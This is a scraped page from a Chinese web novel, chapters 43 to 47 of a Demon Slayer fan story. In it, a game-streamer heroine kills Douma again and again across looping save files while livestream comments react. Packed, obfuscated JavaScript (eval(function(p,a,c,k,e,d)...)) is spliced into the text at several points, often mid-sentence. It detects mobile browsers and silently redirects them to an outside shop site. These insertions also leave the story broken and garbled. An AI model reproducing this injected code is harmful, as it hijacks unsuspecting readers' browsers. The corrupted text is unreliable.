;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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刚这么想完,半透明的屏幕突然在眼前弹出。 [系统提升:任务完成] [恭喜玩家成功找到“非本存档介入者”] [任务奖励:切换存档权限恢复] [正在自动修复异常中,请稍后。] [修复完成] [玩家可随时选择退出] 系统自说自话般蹦出来一堆弹窗,把她干沉默了。 任务完成了? 她什么都没做吧。 回想在这个世界里做过的事情,就上了个茶,看别人下了几盘棋,说了几句云里雾里的谜语。 然后任务就完成了? “小奈?” 朝隼的声音突然在耳边炸开,震得她耳朵一麻。 “小奈小奈小奈!你能听见吗?” “终于连上了,你知道我这一下午是怎么过的吗?我重启了起码十多次系统,调了不知道多少个备用端口,差点就准备去找你说的那只猫了——” “......” 朝奈揉了揉自己隐隐作痛的耳朵,也从先前的纳闷中回过神来。 现在的情况她大概明白了。 系统那个古怪的任务,她从一开始就被思维定式影响陷入了误区。 寻找非本存档介入者。这是个没有主语的句子。 所以,不是她找,而是某个人在找她。 介入者不是别人,正是她自己。 44.第四十四章 “你说吧,具体是怎么一回事。” 朝奈倒要看看某人要怎么为自己弄出的幺蛾子辩解。 “呃,这就说来话长了。” “那就长话短说。” “这个存档,它其实...” “我知道存档异常是因为有非本存档角色介入,所以介入者是谁?”她想要求证,看看自己先前的答案是否正确。 朝隼安静了一秒,才继续说,“是你啊。” 果然。 严胜才是那个任务完成者。 “我一开始搞错了,”他的声音有点心虚,“那些备份的存档我本来是有做分类的,估计是哪个日志备份的时候出现了异常,把我的分类弄乱了。” “这一次绝对不可能出错了,”朝隼信誓旦旦地向她保证,“我会把你传送到正确的游戏存档去。” “任务的进度已经差不多了,上六兄妹的执念净化也已经完成。” “剩下的——” 剩下的只有上弦之贰,童磨。 那个长着一双玛丽苏眼睛,根本没有感情的恶鬼。 朝奈回想了一下自己和他的相处,觉得处理起来会比想象的还要棘手。 “哥。”她尝试着向朝隼追寻一个答案,“上弦贰其实根本没有执念,但是我又要清除他的执念。” “这样一来就形成了悖论,我也觉得很奇怪,会不会是那只猫向你隐瞒了什么?”朝隼也很纳闷。 [系统提示:管理员001已接入通讯系统] “你是在怀疑本喵吗,可恶的人类!” 猫咪老师的声音非常突兀地出现在他们的对话中。 “真是说曹操曹操就到,”朝隼难得没有跟着插科打诨,“也好,猫咪老师,我正巧有几个问题想要问你。” “哼,”猫咪老师的声音突出一个不屑,不过还是答应下来,“你问吧。” “系统重启的动力源,除了上弦鬼的执念之外,还有别的对不对?” “......”它一时间没回答。 朝隼当然知道,有些时候不回答就是一种答案。 他完全明白了,“上弦鬼的执念是无惨能够重启世界线的动力源,但,要想构成一个平衡的世界,还需要另一方的动力支撑。” “鬼杀队想要除尽恶鬼的信念就是那另一半的动力源,两种动力交汇,才支撑起世界一次又一次重启。” “可是面对上百次的执念加深,鬼杀队经历了某次的大成功后世界还是在重启,动力源已经越来越不足。” “所以,你就是幕后之人派出来的使者,在各个世界寻找能够支撑信念的载体。” 猫咪老师保持沉默。 此刻的沉默就是对朝隼猜想的完全肯定。 朝奈顺着哥哥的话一针见血地指出,“我不完全是那个载体。” “真正的动力载体,其实是人类情绪。” “成千上万的直播间观众产生的情绪完全足够填补缺失的信念,所以你才会找上我。” “既然是合作,为什么最开始不和我说清楚呢?”“所以幕后之人是谁?” 猫咪老师终于开口解释这一切,“你们说得没错,但我还是不能向你们透露幕后之人是谁。” “朝奈,你只需要知道,你在做一件正确的事情,净化完上弦鬼的执念,那位大人处理好后续,自然会出来见你。” “现在还不是时候。” 一时间原本热闹的通讯系统变得冷清下来。 说实话,朝奈不是没有见过那种傻乎乎的正派主角接到拯救世界的任务之后,不管自己是不是被pua了,就一股脑向前冲的故事。 她的心情很微妙。 总觉得自己现在就是那个傻乎乎的正派角色。 猫咪老师是那个给她派发任务的无良上司。 “唉,怎么突然都不说话了。”无良上司开口了。 “说个题外话,朝奈你还记得那天傍晚,在便利店遇到的男人吗?” “......” 鬼舞辻无惨,那个人还真的是他。 “他已经盯上你了。”无良上司说这话的时候还笑嘻嘻的,“在我的结界保护下他暂时还不能接近你,但——” 言外之意就是没有结界保护之后,她就宛如待宰的羔羊。 朝奈无力吐槽了。 眼前这只猫是不是在威胁她已经不重要了。 重要的是她不按照它说的去做,是真的会有生命危险啊! 无惨那个屑躲躲藏藏苟且偷生几千年了,现在面临最后一步就要成功,怎么可能会轻易放过她。 没时间怪罪猫咪老师故意隐瞒重要信息了,她的当务之急是回到正确的存档去净化童磨的执念。 只有这样,才有一线生机。 “好一场酣畅淋漓的职场CPU。”朝隼说出了朝奈未出口的话。 “不是KFC么?” “小奈你的冷幽默我还是认可的。”他有些好笑地接话。 “好了,别担心,我会一直在你身后。” “新的存档已经准备好了,你的操作面板应该可以自行切换了。” 猫咪老师又哼了一声,“不错的干劲嘛。” “加油朝奈,任务失败也没关系,大不了大家一起完蛋就是了。” “你不要用那副无所谓的态度说出这么恐怖的话好吗!”朝隼不乐意了,他本来想给自家妹妹留下一句充满鼓励的话语,让她不要有太大压力,结果完全被这只猫毁掉了营造好的氛围。 实则这俩家伙,朝奈一个都不想理。 她面无表情地打开系统面板,点下[切换存档]按钮。 - 阳光,竹林,鸟鸣。 山间小路上,风吹过竹叶沙沙作响。 这次的存档比朝奈最初开荒的那条时间线提前了一点。 鬼灭之刃的游戏开场是童磨的剧情杀,所以她就想着,把时间往前调会不会迎来转机? 她脑海中回想起哥哥在最后告诉她的那句话: “我找那只猫要了点权限,至少在这个存档里你是安全的,如果遇到麻烦可以尝试着重开。” 他没说重开的方法,不过朝奈大概能猜到。 她继续走在看不见尽头的小径上,心里在慢慢数着倒计时。 数字来到零的刹那,场景切换。 她又重新回到了最开始的地方,无限城里的莲花池。 不过这一次,明显早于游戏开场的那段剧情。 周围是那片熟悉的水,不算深,刚好过脚踝。 她看着望不到边际的莲花池,回忆着当初遇到童磨时,觉得非常奇怪的一点。 为什么他会那么自来熟? 就好像...他们以前认识一样。 朝奈在附近巡逻了一遭,没有发现任何有破绽的地方。 难道是她想多了吗? 随着时间一分一秒流逝,照原本的剧情,童磨按时出现在了她面前。 还是那身黑红色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“实在是不好意思了童磨先生,” 其实她还是挺有礼貌的,如果忽视手上那把沾满了毒血的刀。 “我要找的人不是你,只好使用这种极端的手段了。” “......”大量的紫藤花毒涌入身体,童磨的身体承受不住般剧烈颤抖着,黑紫色的血从他唇角溢出。 他低下头,茫然地看着胸口的伤。 “这个...感觉...” 声音断断续续的,冰雾不受控般从四周逸散,却在触碰到朝奈前堪堪停住。 “你想起什么了?”朝奈收起那把刀,她身上的伤口已经慢慢愈合。 现在的情况与初遇时完全反了过来。 她成了这场对话的主导者,陷入被动的人是童磨。 “这记忆...不属于我...”他的语调失去了往日那般的甜腻,变得有些生涩。 朝奈没有为他解惑。 紫藤花毒正在他体内蔓延,这个剂量的毒素,就算是上弦也逃不过重创。 她趁着僵直状态结束之前,又补了一刀。 莲花池的水面倒映着光影。 受到改良版的紫藤花毒影响,童磨的皮肤开始龟裂,他的身形变得透明,从边缘开始一点点剥落,消融。 杀他并不是朝奈的最终目的,她在等一个人出现。 手中的冰刃无声消融,其上的血迹滴落在地上,发出滴答的声响。 她的身后传来轻微的脚步声,踏在浅浅的水面上,漾开一圈圈涟漪。 “哎呀哎呀。” 那个声音从背后传来,带着熟悉的甜腻语调,语气中藏着点无奈。 “朝奈酱,好久不见~” 45.第四十五章 朝奈得到了自己想要的答案。 她转身,看见几步之外,另一个童磨静静伫立在莲花池中。 黑红色的教主服,标志性的七色琉璃瞳,还有微微上扬的嘴角。 他抬起手腕,轻轻晃了晃。 那条红色的丝线上,系着一个绘有金鱼图案的小风铃。 ——那是限时副本里,朝奈亲手挂上去的东西。 “所以,我最开始遇到的那个人是你,”朝奈问,“对吗?” “很聪明呢,是什么时候猜到的?” 朝奈看着他腕间的风铃随着身体的移动而摇晃,发出清脆悦耳的声音。 目光扫过一旁慢慢消散的躯体,她的大脑飞速分析起眼前的状况。 游戏设定里的那个NPC童磨,被她下了改良版的紫藤花毒后正在消失,出现在眼前的这个—— “现在站在你面前的,才是真正的我哦。”他的笑意加深。 “不过嘛,刚才那一刀还挺疼的。” 他抬起手指了指自己胸口的位置,尽管那里看不见任何伤口。 情况比她想象中还要糟糕一些。 她搜查了一番自己有关童磨的记忆,其中让她感受到些许不同的,大约有三次。 第一次就在这个莲花池。 第二次是七夕限时副本。 第三次...是小梅和妓夫太郎的隐藏剧情结束后,世界即将崩塌之际。 恍然间她明白,原来不只是她可以穿梭在各个不同时间线的副本里,眼前的童磨也能做到,不过...他似乎不能在每个游戏世界线里存在太久。 她以为他们的初遇在游戏开篇的莲花池,但其实那不是真正意义上的第一次见面。 真正的初遇,应该追溯到小梅和妓夫太郎那个副本里,在桥上见到的人。 不,也许更早。 她的游戏端口和系统重启强行绑定在了一起,所以她经历过的副本都不再只是虚拟游戏,可能是平行时空或者是某个轮回中真实存在过的。 这也就导致,她无法知晓面前的童磨到底是从哪个时间线派生出来的存在,更无法知晓他接下来会去往哪一个时间线。 好消息,她的最终目的只是净化他的执念。 坏消息,感知不到情绪就没有执念,他从人类变成鬼以来,大概从来没有过什么后悔的事情吧,既没有办法用爱去感化,他的诉求也完全无从得知。 这已经不是地狱难度了,这简直比地狱还地狱。 在她沉思的时间里,童磨一直安静地注视着她。 “你在想什么?”他一步一步地走近。 朝奈看着他那双漂亮的虹眸,瞳仁深处空洞洞的,根本无法从中抓住什么。 她一开始杀NPC的确是为了尝试,如果剧情里一定要有的角色死亡,游戏系统会怎么做判定。 没想到会突然出现当前这种状况。 猫咪老师和哥哥告知过她,这个存档可以是能够无限重启的,只是有一个前提条件——有足够的动力源。 如果想要重开,就得保证自己的动力源充足,否则她会被困在某个死档里被动地等待外援。 对此,朝奈也不是完全没有思绪,她打算把直播间打开,让观众产生的情绪支撑存档重启。 她可以有很多次再来的机会,所以—— 只要是可行的办法,她都要亲自去试一试。 “朝奈接近我的目的,”他弯着眼睛,面上表情无比虔诚,“其实我都知道哦。” “你在想怎么拯救我,对吗?” 那道目光变得深邃,恍惚之间和那个夜晚桥上的画面重合起来。 “可是,朝奈有没有想过——” 他们之间的距离被慢慢拉近,“也许,我根本不需要被拯救?” 朝奈没有被这番话唬到,就算她的目的早就被知道了又怎样? 手在背后凝聚起一团比以往更寒冷的雾气,她冷冷开口。 “你的话让我很苦恼。” “因为。” 怎么能算是拯救他呢。 只是一种自救罢了。 所以说嘛,变成鬼在轮回里不断重演悲剧已经很不幸了,脑子还不太灵光的话...真的没救了。 当然后面的话,她没说出来。 童磨当然也注意到了她的小动作。 他笑得倒是很开心,“朝奈酱,这种小把戏用在那种赝品身上可以,在我身上是不管用的哦?” 朝奈回以他一个淡淡的微笑,“我当然知道。” 直播间在此刻被她重启,刹那,成千上万条弹幕密密麻麻地飘在半透明的上空。 很好,动力源完全足够了。 她举起那把锋利的冰刀,毫不犹豫地往自己胸口一刺。 “因为这一刀。” “本来就不是冲着你去的呀。” 随着身体瓦解成无数的碎片,她随着一道白光消失在众人眼前。 【??????????】 【什么意思呢,主播下播的几个小时还在偷偷玩?】 【这进度是推到哪里了?我怎么看不懂了呢?!】 【不是哥们,煮啵怎么突然就紫砂了啊!这又是什么play??】 【不知道啊,收到开播通知我就来了,现在整个人一脸懵逼】 【别急,等主播复活就知道是什么情况了】 朝奈的身体碎成光点的刹那,童磨伸出手想要抓住她。 指尖什么都没触碰到。 只有那枚金鱼风铃在空中轻轻晃了晃,发出细弱的声响。 她在笑,为什么呢? 把刀刺向自己的时候,为什么要笑呢? 她在想什么? 她要做什么? 她去了哪里? 莲花池的水面恢复了平静,另一个自己——那个赝品已经彻底消散了,连一点痕迹都没在这里留下。 好不容易才找到的朝奈又消失了,整个世界里又只剩下他一个人。 就和以往一样。 他对着空无一人的世界,自言自语。 “下一次见面,要等到什么时候呢?” - 随着一道刺眼的白光闪过,世界重启。 * 房屋在梅雨季节里泡了半个月,由内而外散发着一股潮湿的气息。 院子里的青苔疯长,石板路滑得站不住脚,池塘的水几乎要漫过岸,落花被风吹拂,与树下潮湿的泥土混杂在一起,构成了一副生命力匮乏的图画。 万世极乐教。 堂内燃着许多灯烛与香炉,特制的熏香试图用复杂的甜檀与麝香驱逐异味,却反与木料在潮气中散发的些许霉味酿成了一种更难闻的味道。 灯盏镶嵌在走廊的墙上,每隔几步便有一盏,散着冷白色的光晕,院落则因此刻黑压压的云层而显得晦暗。 整个院子被笼罩在这样的氛围之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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【刚才卡了一下没截到,求你了,上传论坛好不好,直播间的大家什么都不会做的——】 【你们这群颜狗,真的没人注意到这个童磨不对劲吗!】 【他这时候眼睛里居然没有上弦贰的刻字?】 朝奈走过去。 三步。 两步。 他没有回头。 最后一步。 她抬起手,刀尖对准他的后心,位置早就在脑海里模拟好了,刺进去就是心脏。 鬼只有被日轮刀砍下头才会死,但人类不一样。 她要杀的,是这个时间线里还没有变成鬼的人类童磨。 人类的感知能力太弱了。 刀就这么毫无阻碍地刺了进去,没入血肉的感觉比想象中要钝,和以往刺入鬼血肉之中的虚浮感不同,此刻肌肤的触感鲜活而富有弹性。 【画面怎么又没了!!岂可修!!】 【奈奈子你换个网吧,已无力吐槽】 【刚刚她是不是拿了把刀。?】 【难道说?】 童磨的身体瞬间紧绷,他的手凝滞在半空,指尖还在无意识地又捻了一下,那片白色的花瓣被彻底捻断,连着一点皮软软地垂下。 感受到了死亡的气息逼近,他缓慢地垂下视线看向自己胸口。 一截染血的冰刃正从他衣物间穿刺出来,尖端还悬着血珠,在壁灯的光下显得有些妖冶。 他尝试着转身,想看来者是谁。 朝奈没给他这个机会。 手腕稳得好像做过成百上千次一样,她面无表情地把刀向内一拧。 46.第四十六章 刀刃在血肉里转了个向,带来更深层次的破坏,几声轻微的骨擦音被血肉的闷响覆盖住。 短促的吸气声从童磨口中溢出,夹杂着液体翻涌的咕噜声。 朝奈这才猛地将刀拔出。 伴随着粘稠的阻力,刀身被抽回,血跟着一起涌出来,温热浓稠,喷溅在她脸上。 大部分浇溅在她没有表情的脸上,顺着下颌与脖颈线条流淌,浸湿她的衣领。 甜腥的味道充斥着这片空气,她抬起手,用指腹缓缓抹过下眼睑,把妨碍视线的血液轻拭去,在颧骨处留下了一道鲜红色的血痕。 童磨失去了所有力气,缓缓向前倒去,他在完全触地前,凭着残存的本能有些艰难地侧过半身,想要用涣散的视线看清些什么。 整个人翻了过来,仰面向上,那双虹眸瞳孔是散的,找不到焦点。 朝奈蹲下来,双手撑在膝盖上,平视那双七色琉璃瞳,在心底一秒一秒地数着他生命的倒计时。 她看见他的嘴唇动了动,没能发出声音。 更凑近一些,她轻声开口,气息拂动了对方额前被血濡湿的发丝。 “这是第一次。” 还有第二次,第三次,第四次... 如果找不到执念的源头,说不定会是无数次呢。 “喜欢吗?童磨大人。” 那双眼睛只能静静地看着她,涣散空洞,随着最后一点光熄灭,宣告着身躯的彻底死亡。 朝奈站起来,瞥见脚边尸体的血还在往外渗,那支芍药被他压在身下,只露出几片被碾碎的花瓣,沾着血和泥。 天生感知不到爱的人,到死也没有任何感情产生。 既然无法从爱里净化执念,那就恨她好了。 她有无数次重来的机会,在轮回里杀他一次又一次。 来恨她吧,这样她至少能找到一点突破口。 任务一旦失败她不会有好下场,在这个存档里一直和他耗着也没有好结果,横竖都是死,于她而言没差。 空间开始扭曲。 整个世界仿佛被一只手攥住,光线变成漩涡,所有的颜色混成一片,尸体,血迹,熏香的味道,梅雨季的潮气,全都往一个方向坍缩收拢。 她就站在那个漩涡的中心,冷静地在心中权衡利弊。 没有回头,她迈出一步,踏进了下一个轮回。 【?谁篡改了我的记忆吗,何意味】 【我怎么越来越看不懂这个剧情了】 【刚刚黑屏是有血腥画面?】 【大哥,那么大具尸体躺在那里看不见吗,虽然打了码但是挺好认的吧】 【众所周知电子竞技不需要视力】 【奈奈子就这么又走了?】 【她这是什么雷霆剧情啊,我怎么感觉怪怪的。。】 【不确定,再看看】 * 雨还在下。 万世极乐教里还是那股难闻的味道,熏香很浓,灯火忽明忽暗。 他站在光晕中间,微微俯着身,苍白的手指拨弄着案上那株芍药。 白橡色的发,黑红的教主服,侧脸被勾出柔和的轮廓。 朝奈从廊下走出。 刀握在袖子里,掌心被刀柄硌出印子。 她和上一次一样,走得很稳,声音被远处传来的钟声遮掩。 这一次他会出现吗?那个和她一样能穿梭在不同时间线的人。 她不知道。 不过她还有很多时间,很多次机会。 走到他身后一步远的地方,她停下来。 处在危险中的人这次还是没回头。 依旧是抬手的动作。 刀尖对准后心,稍微偏左一点的位置,角度她记得清清楚楚。 刺进去的感觉她也记得清清楚楚。 和上次一模一样的干脆,刀刃没入血肉,他的身体绷紧。 喉咙里溢出一声短促的气音。 温热的血液喷溅出来,这一次溅到了她的眼皮上。 朝奈抹掉眼皮上的血,蹲下来,凑到他耳边。 “第二次。”她缓缓说着。 “喜欢吗?” 手腕上的红线没有亮。 不是那个他。 童磨的虹眸看着她,仍旧涣散,空洞。 随着光芒的熄灭,身体的最后一丝生命力也流逝而去。 朝奈站起身,空间坍缩,她再次走进下一个轮回。 【这集我真看过】 【刚来,直播回放吗这是?】 【笨比,奈奈子说的第二次你是一点也不听啊】 【啊?所以要杀几次啊,满屏都是马赛克我真的顶不住好吗】 【我暴论一下,难不成这个雷霆任务要让奈奈子就这么一直杀童磨,杀到他有感觉为止?】 【我喷了,什么叫做有感觉】 【呃,你懂我意思就行,上二不是对什么都无所谓的态度吗?我猜任务需要让他产生别样的感情】 【电脑里有一款会产生别样感情的游戏!】 * 雨仍然在下着。 他站在光晕中间。 她无声无息地走过去。 “第三次。” 【还来?】 【我人晕了,全是马赛克我看鸡毛】 【阿巴阿巴,到底是谁发明的直播模式啊,气煞我也】 * “第四次。” 【奈奈子杀疯了】 【来人上红眼特效】 【可怜的童磨,被玩弄于股掌之间】 【说个好笑的,奈奈子现在去鬼杀队可以直接晋升柱了】 【我服了。】 * “第五次。” 【出门拿了个快递回来,还在杀啊?】 【无限月读了属于是】 【奈奈子怎么都不和我们互动了】 【唉,大主播了,忘本】 【再也不是以前那个会给弹幕解惑的贴心主播了,泪目】 【你终究不是我的...】 * 雨声从未如此清晰。 朝奈站在廊下,感受到了这次回溯后的些许不同,她没有和之前一样立刻走过去。 【我靠,总算能看到清晰画面了,这是任务停了不杀了?】 【别急,手上还拿着刀呢,不好说】 【可是画面不糊了,马赛克都没了】 【好奇人类时期的教主会和奈奈子说什么】 第六次了,她看着光晕中那个背影,没由来地意识到一件事。 这么多次以来,她从来没有认真观察过这个场景之外的任何东西,每一次刺杀都太过专注。 这一次她停住了脚步。 廊外的雨落在庭院里,打在那些精心修剪过的灌木上。 那株芍药还在案上,朝奈的目光也落在上面。 童磨的手轻轻拨弄着花瓣,仔细看,其实那白色的花瓣边缘有一点极淡的粉。 她握紧袖中的刀,向前走去。 没有刻意掩饰的脚步踩在地板上发出了轻微的声响。 可他还是没回头。 【磨磨头,危】 【人和鬼的感知能力还是差太多了】 走到他身后三步远的地方,朝奈停下来。 “你在看什么?” 声音在空旷的院子里显得很轻。 童磨的动作顿住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324820|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,缓缓转过身来。 壁灯冷白色的光照在他脸上,那双虹眸淡淡地看着她。 他的目光从朝奈的脸移到她的袖口,那里藏着刀,然后又移回他的眼睛,和她对视。 “你很有趣。”他说,“一般人走到这里都会放慢脚步,怕打扰到我。” “你没有。” 朝奈的注意力放在了四周的景物上,没太在意他说的话。 他好奇地问,“你是来杀我的吗?” 听到这句话,她才收回注意力放到对方的身上。 她杀了面前这个人五次,每一次都是从背后一刀毙命。 而现在他就站在面前,用那双漂亮的眼睛看着她,语气里也没有半点恐惧。 “你知道我要杀你?”她平静地反问。 “猜的嘛,”童磨很诚实的回答,“毕竟你袖子里有刀。” 他停顿了几秒,又笑着补充,“而且你站的位置,很适合从背后刺进来我的心脏哦。” 这个人天生感知不到他人的情感,完美扮演着游戏里没有感情的NPC。 对他来说,这只是一个有趣的场景,带着刀的玩家站在他面前,用奇怪的眼神看着他。 朝奈把刀从袖中抽出来。 刀刃在光线下泛着冷光。 “你不怕?” “怕是什么感觉?”他反问。 朝奈握着刀,慢慢抬起手,将刀尖抵在他心口。 隔着衣料,她能感受到那下面心脏的跳动平稳有力。 “你会刺进来吗?”童磨低头看着胸口的刀,隐隐有些期待,“不知道死亡会是什么样的感受呢。” 她的刀没有更进一步的动作。 他脸上露出一点失望的神色,“不刺了吗?” “我还以为能知道是什么感觉。” 寂静之中唯有雨落的声音。 过了一会,朝奈才开口,“童磨,你有没有后悔过?” 对方似乎真的在认真思考这个问题。 “从来没有哦。” 他的语气很轻快,“后悔是什么感觉?做过的事就是做过了,发生的事已经发生了,为什么要后悔呢?” 她脑子抽了才会问这种问题。 面前的人根本就不明白,那些感情对他来说就像雨落的声音、烛火的温度,没必要花费精力感知。 “你在想什么?” 朝奈不想回答。 她走向廊边,看着外面的雨。 细密的雨丝落在庭院里,打在她从未真正注意过的花草上,几株无名小花被雨水压得微微垂首。 原来,她也在这样无限次数的回溯里被潜移默化了。 在这场游戏里看不到路的尽头,也没有办法回头。 那个存在什么时候会追到这里来呢?朝奈有些好奇地想着。 身后传来脚步声,他也走到她身边,顺着她的目光看向这些花。 “你喜欢花?” “算不上。” “为什么一直看着它们?” “因为它们和我一样,”朝奈说,“被困在这里,出不去。” 童磨似乎不太理解这句话的意思。 朝奈也不打算和他解释,现在她没空陪对方闲聊了。 这次回溯的交谈就到此为止吧。 “第七次。”她缓缓开口。 话音刚落,锋利的刀刃就插进了那颗心脏。 【嗯???】 【不是聊得好好的吗??怎么又杀了?】 【我靠,为什么对话这么诡异啊,我听不懂】 【奈奈子说自己被困在这里,出不去是什么意思?】 【等等等等,我有种不妙的预感...】 47.第四十七章 * “第?次。” 刀刃精准的停在心室壁外,再推进半寸就会彻底刺穿。 温热的血顺着刀身,如同水流蜿蜒过朝奈的手腕,滴落在童磨黑红色的教主服上,晕染出一处不断扩大的暗红湿痕。 他因剧痛而微弓起身,喉咙里发出几道细碎的吸气声,不过,那张脸上依旧没有半点恐惧。 他正细细体会着冰刃在体内带来的冰凉又具体的存在感,还有随之蔓延开的火烧火燎的剧痛。 朝奈俯身,凑近他因失血而迅速苍白的脸,声音压得很低,还刻意放缓了自己的语速。 “求我吧。” 她的指尖轻轻弹了弹露在外面的刀柄,引来对方身体的一阵更剧烈的痉挛。 “求我,我就拔出来。” 【呃啊不对吧!!!怎么听都不对吧!!!】 【这还是我们健康绿色小清新直播间吗】 【别逗你奈姐笑了】 【我草,诡秘诡秘,你最爱看的gb来了】 【偌大的直播间有0个人为童磨发声】 【诸君!!我好兴奋啊!!!】 童磨的睫毛颤抖着,额角沁出大颗大颗的汗,混合着溅上去的血液留下的血痕,他微微张了张嘴,更多的血涌出。 几秒的时间里,只有汗与血滴落的滴答声。 都这样了他还在笑,笑容扯动了伤口,让他咳出了更多的血,他却毫不在意似的。 “呵呵。” 那声音气若游丝,带着血泡破裂的轻响,“你是在教我害怕吗,朝奈酱?” 他偏过头,涣散的目光试图聚焦在朝奈脸上,“可是我觉得,很、有、趣、呢、” “我能清晰地感受到,刀在身体里的感觉。” “原来这就是死亡...” 是啊。 这就是死亡。 她已经给过机会了,是他自己没珍惜。 那就别怪她不客气了。 朝奈眼中那点恶劣的、等待他崩溃的期待瞬间消逝,她没给童磨反应时间,动作利落地抽出刀。 血瀑再次喷涌。 童磨的身体软倒了下去,最后的意识里,那抹愉悦的笑容依然定格在脸上。 朝奈站在原地,看着眼前的世界再度重启。 尽管手上沾满了鲜血,她依旧面不改色地继续走进下一次轮回。 * “第??次。” 窗外大雨滂沱,雨声淹没了一切。 窗内,童磨跌在坐褥上,血已浸透深色的衣物。 朝奈则半跪于前,短刀大半已没入他胸膛,只余刀柄与一截染血的刃。 她的目光死死地盯着眼前人的脸。 只见他脸色在失血与灯光下呈现出一种半透明的青白,冷汗混着血水从额角滑落,流过因剧痛而微微抽搐的眼角。 童磨在不受控制地轻颤,这是身体最真实的反应。 “你没有痛觉吗?”她的声音不大,几乎要被外边的雨声吞没。 与此同时,手腕精准地施加压力,将刀又推进了半分。 对方的喉咙里瞬间挤出一声短促压抑的痛呼,身体猛地往后一仰,脖颈拉出脆弱的线条,青筋毕露。 他的手指无意识间抓紧身下染血的衣物,指节攥得发白。 对敌人心软就是对自己心狠,朝奈深知这个道理。 她不会同情面前之人。 当他恢复神智,缓缓掀起眼帘看向朝奈时,那双逐渐失焦的虹眸里映出她染血的面颊。 童磨咳着血,那道声音轻得像梦呓。 “朝奈这么认真地看着我。” 他似乎在回味她手中利刃贯穿身体的力道,然后,染血的唇角缓慢地向上弯起一抹弧度。 “会给我一种,深深爱着我的错觉呢。” 爱? 从一个不懂爱的人口中听见这个词,朝奈有些诧异地晃了晃神。 【被调成啥样了都】 【被捅死了还在笑着说爱呢,这辈子有了】 【童磨怎么不反抗?】 【那我问你,人怎么打鬼?】 【骗你的,其实他死得可开心了】 【你瞧他脸上还带着笑呢,被亲爱的奈奈子一刀捅死是对他的奖励啊我看】 【道理我都懂,但是这也奖励了太多次了吧?】 屋外的雷雨轰鸣填满了死寂。 她看着童磨那张逐渐失去生机的脸,在心里暗暗骂了句死变态。 * “第???次。” 这一次朝奈换了种方式,她没有从背后偷袭,而是等他转过身来,正面对上他的那双眼睛。 冰刃横握在手,刀身上映出壁灯冷白的光,也映出了他微微惊讶的表情。 “朝奈这次...”他试图开口。 话没说话,那把冰刃已经送进他的腹部。 童磨闷哼一声,身体下意识地弓起,额头抵上她的肩膀。 这个姿势近得朝奈能感觉到他的呼吸喷洒在自己颈侧,温热又急促。 她懒得退开。 “疼吗?”她冷漠地问。 童磨的手指攥住她肩头的衣料,力道很大,手指都在发颤。 过了好几息他才慢慢抬起头,虹眸里蒙着层生理性水雾。 “疼。”他的气息断断续续,“很疼。” 朝奈等着他的后文。 “但是,”他的额头又抵在她肩上,说话时气息拂过她的锁骨,“你离我这么近的话...” “好像可以原谅所有事情。” 他是不是有病? 有病早点去治吧。 朝奈的眉心跳了一下。 “包括这个?”她手腕用力,将刀全部捅了进去。 童磨的身体剧烈一颤,却也没有躲,反而把额头更紧地贴着她的肩膀。 他的声音里竟然带着满足,“包括这个。” 朝奈这次是真的沉默了。 “你是抖m吗?”她一字一顿地说。 他的肩膀轻轻颤动起来,朝奈花了几秒才反应过来,这个人在笑。 动作牵动了腹部的肌肉,大量的血从刀口渗出,流淌到两人之间的衣料上。 “抖m?”他轻轻重复了一遍这个词。 “你总是、说这些我听不懂的东西。”声音因为疼痛断断续续。 朝奈不想理他。 淡淡地拔出刀,任由他的身体滑落下去。 血泊在他身下扩散开,他仰面倒在地上,七色的眼瞳还望着她,脸上带着一种餍足的神情。 “下次...”他的嘴唇翕动,气若游丝,“下次也这样...好不好...” 【我都服了呀】 【那还说啥了,绝世抖m称号送给他了】 【奈奈子都走远了他还在看呢】 【喂,到底要杀几次啊???我们看了多少遍?】 【诶?你在说什么啊,这不是第一次嘛?】 【啊???等下我也有点迷糊了,让我捋捋】 【好奇怪啊,这种违和的感觉是...】 * “*******”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333645|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【我草好狠的女人,这一刀给我看疼了】 【不哥们,什么一刀?他们不是在对话吗?】 【哈?我这边明明是刚重启存档的画面】 【你瞎说啥,奈奈子早就捅下去了好吗?!】 【我勒个。。?难道每个人直播画面不一样???】 【我这里的画面是奈奈子被童磨反杀了??】 【还有高手?】 【这。。。游戏出bug了还是直播软件bug了?】 【奈奈子已经不看弹幕了,也没法问,咋整啊这】 【!@#¥%%……*】 【或许...】 【有这么一种可能,不是游戏bug,也不是直播软件的bug】 【是我们所处的世界出现了一些异常】 “警告,管理员已获得直播间操控权限。” [提问:看见的画面一定是真实的吗?] ——来自匿名用户748的留言。 “温馨提醒,当前直播时长已接近10000小时,请注意劳逸结合。” 